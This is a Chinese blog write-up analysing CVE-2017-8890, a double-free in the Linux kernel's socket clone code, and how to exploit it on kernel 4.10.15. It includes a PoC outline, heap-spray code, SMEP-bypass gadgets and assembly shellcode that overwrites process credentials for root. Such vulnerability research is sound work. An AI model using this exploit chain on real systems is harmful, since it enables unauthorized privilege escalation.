【kernel exploit】CVE-2017-8890 Phoenix Talon漏洞分析与利用
影响版本:Linux 2.5.69~4.10.15 详细影响版本 评分7.8,可能导致远程代码执行。隐藏11年,通过syzkaller挖到。
测试版本:Linux-4.10.15 测试环境下载地址 — https://github.com/bsauce/kernel_exploit_factory
编译选项:CONFIG_E1000=y
和CONFIG_E1000E=y
General setup
—> Choose SLAB allocator (SLUB (Unqueued Allocator))
—> SLAB
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.10.15.tar.xz
$ tar -xvf linux-4.10.15.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述:net/ipv4/inet_connection_sock.c
文件中的inet_csk_clone_lock()
函数存在Double-Free漏洞。具体来说,服务端创建socket和调用accept()
接收连接时会产生两个指向ip_mc_socklist
对象的指针—mc_list
,服务端在 close socket 和关闭accept
创建的inet_sock
对象时,会将ip_mc_socklist
对象释放两次,导致Double-Free。
补丁:patch 在复制对象的时候将mc_list
指向NULL即可。
struct sock *inet_csk_clone_lock(const struct sock *sk,
const struct request_sock *req,
const gfp_t priority)
{
struct sock *newsk = sk_clone_lock(sk, priority); // 拷贝sk。拷贝完成后,没有对 mc_list 初始化,因此在newsk和sk中存在同一个指向 ip_mc_socklist 的结构体指针。
if (newsk) {
struct inet_connection_sock *newicsk = inet_csk(newsk);
newsk->sk_state = TCP_SYN_RECV;
newicsk->icsk_bind_hash = NULL;
inet_sk(newsk)->inet_dport = inet_rsk(req)->ir_rmt_port;
inet_sk(newsk)->inet_num = inet_rsk(req)->ir_num;
inet_sk(newsk)->inet_sport = htons(inet_rsk(req)->ir_num);
newsk->sk_write_space = sk_stream_write_space;
/* listeners have SOCK_RCU_FREE, not the children */
sock_reset_flag(newsk, SOCK_RCU_FREE);
inet_sk(newsk)->mc_list = NULL; // <------------------------ patch
newsk->sk_mark = inet_rsk(req)->ir_mark;
atomic64_set(&newsk->sk_cookie,
atomic64_read(&inet_rsk(req)->ir_cookie));
newicsk->icsk_retransmits = 0;
newicsk->icsk_backoff = 0;
newicsk->icsk_probes_out = 0;
/* Deinitialize accept_queue to trap illegal accesses. */
memset(&newicsk->icsk_accept_queue, 0, sizeof(newicsk->icsk_accept_queue));
security_inet_csk_clone(newsk, req);
}
return newsk;
}
EXPORT_SYMBOL_GPL(inet_csk_clone_lock);
保护机制:开启SMEP,不开SMAP、KASLR
利用总结:重点有两点,一是劫持了RCU结构中的回调函数,需学习下RCU机制学习;二是不能用ROP来提权,因为内核不处于exp进程的上下文,只能利用shellcode来修改exp对应进程的uid。总体来说是利用Double-Free来篡改RCU的回调函数指针,关闭SMEP并跳转到shellcode来修改cred。
- 创建 server 端的 socket, 使内核创建
ip_mc_socklist
漏洞对象;
- 创建 server 端的 socket, 使内核创建
- 子线程创建 client 端 socket,并不断向服务端请求连接-connect;
- server 端开始接收 client 请求 —
accept
,复制mc_list
指针;
- server 端开始接收 client 请求 —
- 用户空间地址
0x10000000a
处布置伪造的ip_mc_socklist
结构和ROP链(地址是执行到xchg gadget
时EAX的值,ROP负责保存rbp到rbx,并关闭SMEP),子线程不断修改 func 指针(内核会修改func指针,导致劫持失败);
- 用户空间地址
- 关闭服务端 accept 创建的 socket,堆喷射篡改
ip_mc_socklist->next_rcu
指针(为固定的值0x10000000a
),关闭服务端 socket 触发Double-Free。
- 关闭服务端 accept 创建的 socket,堆喷射篡改
一、漏洞原理
(1)漏洞原理
我们在socket编程时,server端创建socket会在内核创建一个inet_sock
结构,暂时称为sock1:
struct inet_sock {
/* sk and pinet6 has to be the first two members of inet_sock */
struct sock sk;
............
__be32 inet_saddr;
__s16 uc_ttl;
__u16 cmsg_flags;
__be16 inet_sport;
__u16 inet_id;
.............
__be32 mc_addr;
struct ip_mc_socklist __rcu *mc_list; // 导致Double-Free
struct inet_cork_full cork;
};
struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu; // 0x8
struct ip_mreqn multi; // 0xc
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */ // 0x4
struct ip_sf_socklist __rcu *sflist; // 0x8
struct rcu_head rcu; // 0x10
};
当server端调用accept()
接收外来连接时会创建一个新的inet_sock
结构体,称为sock2。sock2对象会从sock1对象复制一份ip_mc_socklist
指针,其结构体如上。
此时内核存在两个不同的inet_sock
对象,但其mc_list
指针指向同一个ip_mc_socklist
对象。之后,server端 close socket时,内核会释放sock1并释放mc_list
指针指向的ip_mc_socklist
对象;server端关闭accept()
创建的sock2时,会再次释放同一个ip_mc_socklist
对象,造成Double-Free。
(2)创建、复制、释放 mc_list
的调用链
可采用Understand帮助生成调用链。
创建mc_list
—— -> entry_SYSCALL_64_fastpath()
-> SyS_setsockopt()
-> SYSC_setsockopt()
-> sock_common_setsockopt()
-> tcp_setsockopt()
-> ip_setsockopt()
-> do_ip_setsockopt()
-> ip_mc_join_group()
-> sock_kmalloc()
-> kmalloc()
(在call sock_kmalloc
下断即可查看创建的mc_list
)
复制mc_list
—— tcp_v4_rcv()
-> tcp_check_req()
-> tcp_v4_syn_recv_sock()
-> tcp_create_openreq_child()
-> inet_csk_clone_lock()
-> sk_clone_lock
释放mc_list
——sock_close()
-> sock_release()
-> ip_mc_drop_socket()
-> kfree_rcu()
(但是在调用kfree_rcu()
之前就崩溃了,崩溃点在ip_mc_leave_src()
函数中) -> __kfree_rcu()
-> kfree_call_rcu()
-> __call_rcu()
。 真实的删除调用链:rcu_do_batch()
-> __rcu_reclaim()
(检查func
的大小是否小于4096,如果小于4096,则释放,否则便会调用func
)。
mc_list
在ip_mc_drop_socket()
函数里面释放。由于mc_list
是一个单链表,通过next_rcu
来索引下一个mc_list
。因此在释放的时候,会循环遍历这个链表。此外,由于mc_list
是ip_mc_socklist
的结构体,引用了rcu机制(正常采用rcu机制保护的结构体中会有struct rcu_head rcu;
这个成员)因此对于该结构体写比较特殊(释放也可以理解为是写过程)。受到rcu机制保护的结构体在释放时,调用kfree_rcu()
(kfree an object after a grace period)时,并不是真正的释放,而是调用__call_rcu()
把他加入到rcu_head的链表中,此时会开始标记一个宽限期(GP)。当宽限期开始时,记录所有的读thread,当这些读thread都结束后,时钟中断触发时,在软中断中会调用rcu的回调函数来删除这个obj。
简单来说可以理解为当有一个线程要对该成员写时(或者删除释放),开始一个宽限期,等到所有读的线程结束后,宽限期结束,通过触发时钟中断检查是否存在回调函数,如果存在回调函数,则调用rcu的回调函数来删除这个obj。简单的rcu机制可以参考这篇文章:RCU机制学习
崩溃:在第二次释放时崩溃,ip_mc_drop_socket()
-> ip_mc_leave_src()
,ip_mc_leave_src()
中发生空指针引用。第一次释放mc_list
后,该空闲块可能被其他线程使用。psf = iml->sflist
也即 [mc_list+0x18]
,sflist
是ip_sf_socklist
结构指针,rbx= psf = 0x2
,引用psf->sl_count
导致空指针引用。如果psf即[mc_list+0x18]
为0,就不会引用psf->sl_count
,内核就会进入ip_mc_drop_socket()
的kfree_rcu()
流程,触发Double-Free。
void ip_mc_drop_socket(struct sock *sk)
{
struct inet_sock *inet = inet_sk(sk);
struct ip_mc_socklist *iml;
struct net *net = sock_net(sk);
if (!inet->mc_list)
return;
rtnl_lock();
while ((iml = rtnl_dereference(inet->mc_list)) != NULL) { // 遍历链表,释放
struct in_device *in_dev;
inet->mc_list = iml->next_rcu;
in_dev = inetdev_by_index(net, iml->multi.imr_ifindex);
(void) ip_mc_leave_src(sk, iml, in_dev); // 导致崩溃的函数,第二次释放时崩溃
if (in_dev)
ip_mc_dec_group(in_dev, iml->multi.imr_multiaddr.s_addr);
/* decrease mem now to avoid the memleak warning */
atomic_sub(sizeof(*iml), &sk->sk_omem_alloc);
kfree_rcu(iml, rcu); // 释放点
}
rtnl_unlock();
}
// ip_mc_leave_src —— 导致崩溃的函数,在第一次mc_list释放后,这块dirty内存的数据就可能会其它线程使用了。
static int ip_mc_leave_src(struct sock *sk, struct ip_mc_socklist *iml,
struct in_device *in_dev)
{
struct ip_sf_socklist *psf = rtnl_dereference(iml->sflist);
int err;
if (!psf) { // test rbx, rbx
/* any-source empty exclude case */
return ip_mc_del_src(in_dev, &iml->multi.imr_multiaddr.s_addr,
iml->sfmode, 0, NULL, 0);
}
err = ip_mc_del_src(in_dev, &iml->multi.imr_multiaddr.s_addr,
iml->sfmode, psf->sl_count, psf->sl_addr, 0); // 崩溃点 mov ecx, DWORD PTR [rbx+0x4] 空指针引用错误(psf->sl_count)
RCU_INIT_POINTER(iml->sflist, NULL);
/* decrease mem now to avoid the memleak warning */
atomic_sub(IP_SFLSIZE(psf->sl_max), &sk->sk_omem_alloc);
kfree_rcu(psf, rcu);
return err;
}
(3)PoC
poc流程:
sockfd = socket(AF_INET, xx, IPPROTO_TCP); // 创建一个服务端socket
setsockopt(sockfd, SOL_IP, MCAST_JOIN_GROUP, xxxx, xxxx); // 通过setsockopt设置MCAST_JOIN_GROUP选项,主要是让内核创建ip_mc_socklist对象
bind(sockfd, xxxx, xxxx);
listen(sockfd, xxxx);
newsockfd = accept(sockfd, xxxx, xxxx); // 通过accept创建另外一个socket,使得newsockfd在内核中的mc_list指针指向同一个ip_mc_socklist对象
close(newsockfd) // first free (kfree_rcu) 关闭新的socket,这时等待RCU机制的的宽限期结束后,在rcu回调函数中触发第一次kfree。
sleep(5) // wait rcu free(real free)
close(sockfd) // double free 关闭父socket,同样的位置触发第二次free。
二、利用—ret2usr(未开SMEP/SMAP)
(1)劫持控制流思路
思路:在第1次释放后堆喷占位,控制第2次释放时的数据,劫持控制流。
函数指针:再看看导致Double-Free的ip_mc_socklist
对象,其中包含rcu_head
对象(实际上是callback_head
结构),正好包含一个函数指针func
。ip_mc_socklist
对象的释放涉及到 RCU机制,其释放后有一个宽限期,真正释放ip_mc_socklist
对象的回调函数是__rcu_reclaim()
。
struct ip_mc_socklist {
struct ip_mc_socklist __rcu *next_rcu;
struct ip_mreqn multi;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip_sf_socklist __rcu *sflist;
struct rcu_head rcu;
};
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
}
#define rcu_head callback_head
static inline bool __rcu_reclaim(const char *rn, struct rcu_head *head)
{
unsigned long offset = (unsigned long)head->func;
rcu_lock_acquire(&rcu_callback_map);
if (__is_kfree_rcu_offset(offset)) {
RCU_TRACE(trace_rcu_invoke_kfree_callback(rn, head, offset));
kfree((void *)head - offset);
rcu_lock_release(&rcu_callback_map);
return true;
} else {
RCU_TRACE(trace_rcu_invoke_callback(rn, head));
head->func(head); // 执行 rcu_head 对象中的回调函数 func。所以目标是劫持rcu_head 对象。
rcu_lock_release(&rcu_callback_map);
return false;
}
}
(2)堆喷函数
思路:ip_mc_socklist
对象的大小是48字节,对应kmalloc-64
。首先采用修改后的ipv6_mc_socklist
对象来进行堆喷尝试。将堆喷对象ipv6_mc_socklist
的adrr设置为ff02:abcd:0:0:0:0:0:1
,即可将堆喷对象的前8个字节设置为0x00000000cdab02ff,而这8个字节正好是double free对象ip_mc_socklist
的next_rcu
成员。
// 修改前:由于其中有两个int成员都是4字节,对齐成8字节后使 ipv6_mc_socklist 结构变成了72字节。
struct ipv6_mc_socklist {
struct in6_addr addr;
int ifindex;
struct ipv6_mc_socklist __rcu *next;
rwlock_t sflock;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ip6_sf_socklist *sflist;
struct rcu_head rcu;
};
// 修改后:将两个int成员放在一起,分配时就成了64字节
struct ipv6_mc_socklist {
struct in6_addr addr;
int ifindex;
unsigned int sfmode; /* MCAST_{INCLUDE,EXCLUDE} */
struct ipv6_mc_socklist __rcu *next;
rwlock_t sflock;
struct ip6_sf_socklist *sflist;
struct rcu_head rcu;
};
(3)劫持EIP
问题:通过修改ip_mc_socklist
结构中的func
函数指针,但是实际在执行__rcu_reclaim()
函数时,该函数指针func
已经被修改了。原来,kfree_rcu()
函数会修改ip_mc_socklist
对象中的函数指针,导致堆喷失败。kfree_rcu()
调用链 —— kfree_rcu()
-> __kfree_rcu()
-> kfree_call_rcu()
-> __call_rcu()
。
#define kfree_rcu(ptr, rcu_head) \
__kfree_rcu(&((ptr)->rcu_head), offsetof(typeof(*(ptr)), rcu_head)) // <----------
static void __call_rcu(struct rcu_head *head, rcu_callback_t func,
struct rcu_state *rsp, int cpu, bool lazy)
{
unsigned long flags;
struct rcu_data *rdp;
/* Misaligned rcu_head! */
WARN_ON_ONCE((unsigned long)head & (sizeof(void *) - 1));
if (debug_rcu_head_queue(head)) {
/* Probable double call_rcu(), so leak the callback. */
WRITE_ONCE(head->func, rcu_leak_callback);
WARN_ONCE(1, "__call_rcu(): Leaked duplicate callback\n");
return;
}
head->func = func; // <--------------- 被修改成了偏移量,也即前面offsetof()的返回值
head->next = NULL;
解决:因此,不能直接通过劫持函数指针来劫持EIP。但Linux的RCU机制使得kfree_rcu
函数调用后,并不会马上执行__rcu_reclaim()
进行真正的释放,而是让CPU过一段时间再执行(宽限期)。可以在__rcu_reclaim()
执行前再次修改ip_mc_socklist
对象中的函数指针即可劫持EIP,如果ip_mc_socklist
对象在用户空间就好了! 由于ip_mc_socklist
对象的前8字节是next_rcu
指针变量,指向rcu链表的下一个ip_mc_socklist
对象,通过next_rcu
指针构成链表。可通过劫持next_rcu
指针,使其指向我们在用户空间伪造的ip_mc_socklist
对象,再通过伪造用户空间对象的函数指针来劫持EIP。布局如下所示:
把ip_mc_socklist
对象劫持到用户空间后,我们就可以通过多线程 不断循环去修改伪造对象的func函数指针,从而劫持到EIP。
(4)shellcode
问题:可通过commit_creds(prepare_kernel_cred(0))
提权,但前提是内核必须处于exp进程的上下文,即内核通过current
宏获取到的进程描述符task_struct
必须是exp进程的,否则提权失败。经调试发现,劫持EIP时内核的进程上下文是ksoftirqd
进程或rcu_sched
进程,猜测由于RCU机制,ip_mc_socklist
对象的真正释放是在内核软中断处理中,因此我们劫持EIP时内核也处于软中断处理的进程上下文。所以虽然能劫持EIP,但不能通过简单执行commit_creds()
函数执行提权,需要自己写shellcode。内核中执行如下代码即可:
// find_get_pid和pid_task函数是内核导出的函数,主要用于根据pid找到对应的进程描述符。
void get_root(int pid){
struct pid * kpid = find_get_pid(pid);
struct task_struct * task = pid_task(kpid,PIDTYPE_PID);
unsigned int * addr = (unsigned int* )task->cred;
addr[1] = 0;
addr[2] = 0;
addr[3] = 0;
addr[4] = 0;
addr[5] = 0;
addr[6] = 0;
addr[7] = 0;
addr[8] = 0;
}
// 这段代码是在内核中执行的,可以在编写的内核模块中编译和运行,但是不好编译为用户空间代码,因此我们直接将其转换为汇编代码:
unsigned long* find_get_pid = (unsigned long*)0xffffffff81077220;
unsigned long* pid_task = (unsigned long*)0xffffffff81077180;
int pid = getpid();
void get_root() {
asm(
"sub $0x18,%rsp;"
"mov pid,%edi;"
"callq *find_get_pid;"
"mov %rax,-0x8(%rbp);"
"mov -0x8(%rbp),%rax;"
"mov $0x0,%esi;"
"mov %rax,%rdi;"
"callq *pid_task;"
"mov %rax,-0x10(%rbp);"
"mov -0x10(%rbp),%rax;"
"mov 0x5f8(%rax),%rax;"
"mov %rax,-0x18(%rbp);"
"mov -0x18(%rbp),%rax;"
"add $0x4,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x8,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0xc,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x10,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x14,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x18,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x1c,%rax;"
"movl $0x0,(%rax);"
"mov -0x18(%rbp),%rax;"
"add $0x20,%rax;"
"movl $0x0,(%rax);"
"nop;"
"leaveq;"
"retq ;");
}
三、绕过SMEP
(1)绕过SMEP
思路:stack pivot
采用xchg eax, esp
这个gadget来跳转到用户空间所布置的ROP链。通过以下两个gadget来修改cr4寄存器的第20位,改为0则关闭SMEP。关闭SMEP后即可跳转到用户空间的shellcode。
pop rdi; ret
mov cr4, rdi; pop rbp; ret
(2)堆喷
要求:这次不能修改内核,利用已有的对象进行堆喷。要求堆喷大小为64字节,且能控制前8字节,其他字节的值不影响内核执行流程。
堆喷路径:sendmmsg堆喷失败,无法控制前8个字节。最后在sock_malloc
的调用图中找到一条合适的调用路径。
ip_mc_source()
-> sock_kmalloc()
调试发现这里刚好分配64字节堆块,且前8字节固定为0x000000010000000a
,其他字节为0不影响内核执行流程。虽然前8字节不可控,但这是能够通过mmap获取到的用户地址空间,因此该堆喷方法可行。
if (!psl || psl->sl_count == psl->sl_max) {
struct ip_sf_socklist *newpsl;
int count = IP_SFBLOCK;
if (psl)
count += psl->sl_max;
newpsl = sock_kmalloc(sk, IP_SFLSIZE(count), GFP_KERNEL);
if (!newpsl) {
err = -ENOBUFS;
goto done;
}
newpsl->sl_max = count;
newpsl->sl_count = count - IP_SFBLOCK;
if (psl) {
堆喷代码:需修改用户空间伪造ip_mc_socklist
结构的地址。
#define Heap_Spray_Addr 0x000000010000000a
int sockfd[SPRAY_SIZE];
void spray_init() {
struct sockaddr_in server_addr;
struct group_req group;
struct sockaddr_in *psin=NULL;
memset(&server_addr,0,sizeof(server_addr));
memset(&group,0,sizeof(group));
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
psin = (struct sockaddr_in *)&group.gr_group;
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
for(int i=0; i<SPRAY_SIZE; i++) {
if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
perror("Socket");
exit(errno);
}
setsockopt(sockfd[i], SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
}
}
void heap_spray(){
struct ip_mreq_source mreqsrc;
memset(&mreqsrc,0,sizeof(mreqsrc));
mreqsrc.imr_multiaddr.s_addr = htonl(inet_addr("10.10.2.224"));
for(int j=0; j<SPRAY_SIZE; j++) {
setsockopt(sockfd[j], IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, &mreqsrc, sizeof(mreqsrc));
}
}
(3)完整利用
不同于未开启SMEP的利用程序:
- (1)用到pivot_stack gadget来跳转到用户栈;
- (2)在EAX指向的用户空间布置ROP链,修改cr4并跳转到
get_root
; - (3)堆喷射初始化函数和堆喷函数。
- (4)由于构造ROP链会损坏rbp的值,但是
get_root()
返回时需要把rbp给rsp(leave; ret;
),所以ROP链最开头需要保存rbp,然后在get_root()
开头恢复rbp。(方法是通过rop链保存到rcx寄存器,在get_root()
开头赋给rbp——mov %rcx, %rbp;
)
后续:可用ret2dir方法绕过SMAP;可在内核空间伪造ip_mc_socklist
。
成功截图:
四、问题
问题1:每次启动虚拟机之后,命令$ ifconfig -a
只有lo本地网卡。且启动的时候init
脚本不能建立eth0
网卡。
解决:一般这样启动,qemu模拟的是e1000的网卡。而linux内核默认编译是不会将e1000网卡驱动编译到内核的。在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
问题2:根本不会触发漏洞。根本不会走到 ip_mc_join_group()
-> sock_kmalloc()
,没有创建 参考
int ip_mc_join_group(struct sock *sk, struct ip_mreqn *imr)
{
__be32 addr = imr->imr_multiaddr.s_addr;
struct ip_mc_socklist *iml, *i;
struct in_device *in_dev;
struct inet_sock *inet = inet_sk(sk);
struct net *net = sock_net(sk);
int ifindex;
int count = 0;
int err;
ASSERT_RTNL();
if (!ipv4_is_multicast(addr)) // 检查ip地址是不是0xe0 也即224结尾,必须是组播地址?
return -EINVAL;
//查找该多播地址设置到哪个接口设备。
//1、如果用户传入了接口索引,则使用接口索引进行查找。(如在IPv6下)
//2、否则如果用户传入了接口的地址,则使用地址进行查找
//3、否则使用多播地址进行路由表查找。依照路由表的定义,按照组地址在路由表中查找网络接口。
in_dev = ip_mc_find_dev(net, imr); // 查找路由?? 在这里一直失败,可能是虚拟机路由配置问题
if (!in_dev) {
err = -ENODEV;
goto done;
}
err = -EADDRINUSE;
ifindex = imr->imr_ifindex;
for_each_pmc_rtnl(inet, i) {
if (i->multi.imr_multiaddr.s_addr == addr &&
i->multi.imr_ifindex == ifindex)
goto done;
count++;
}
err = -ENOBUFS;
if (count >= net->ipv4.sysctl_igmp_max_memberships)
goto done;
iml = sock_kmalloc(sk, sizeof(*iml), GFP_KERNEL); // 给ip_mc_socklist结构分配内存,然后比较套接字的每个组地址和接口。只要发现了一个匹配项就跳出该函数,因为有一个匹配项就可以了。若网络接口地址不是INADDR_ANY,相应的计数器值就要增加。
if (!iml)
goto done;
memcpy(&iml->multi, imr, sizeof(*imr)); // 到这里,就可以用新创建的套接字与组播组建立链接了,这时还必须创建一个新的记录,记录下属于该套接字的组的列表。首先还是要预先分配内存,然后只要给相关结构中的几个字段赋值,就完成了这个操作:
iml->next_rcu = inet->mc_list;
iml->sflist = NULL;
iml->sfmode = MCAST_EXCLUDE;
rcu_assign_pointer(inet->mc_list, iml);
ip_mc_inc_group(in_dev, addr);
err = 0;
done:
return err;
}
解决:执行到ip_mc_find_dev(net, imr)
就返回0退出了,按照组地址在路由表中找不到网络接口。原因是没有增加D级多播网络的IP路由(一般Ubuntu会自动指定这个,但是我在QEMU中跑,所以默认没有设置),需新增下列路径:Linux配置及测试IP多播
$ route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0
D类地址用于多点广播(Multicast)。D类IP地址第一个字节以”1110”开始,它是一个专门保留的地址。它并不指向特定的网络,目前这一类地址被用在多点广播(Multicasting)中。多点广播地址用来一次寻址一组计算机,它标识共享同一协议的一组计算机。D类的IP地址不标识网络,其地址覆盖范围为224.0.0.0~239.255.255.255。
问题3:成功执行shellcode,但是修改cred时失败。
解决:可能是cred相对于task_struct
结构首地址的偏移错误。
gdb-peda$ p/x &(*(struct task_struct *)0)->cred # 所以 cred成员相对于task_struct结构首地址相差 0x640, 并非0x5f8, 需修改
$2 = 0x640
参考:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8890
利用CVE-2017-8890实现linux内核提权: ret2usr
利用CVE-2017-8890实现linux内核提权: SMEP绕过
CVE-2017-8890 漏洞利用(root ubuntu@kernel-4.10.0-19)
文档信息
- 本文作者:bsauce
- 本文链接:https://bsauce.github.io/2021/03/22/writeup-CVE-2017-8890/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)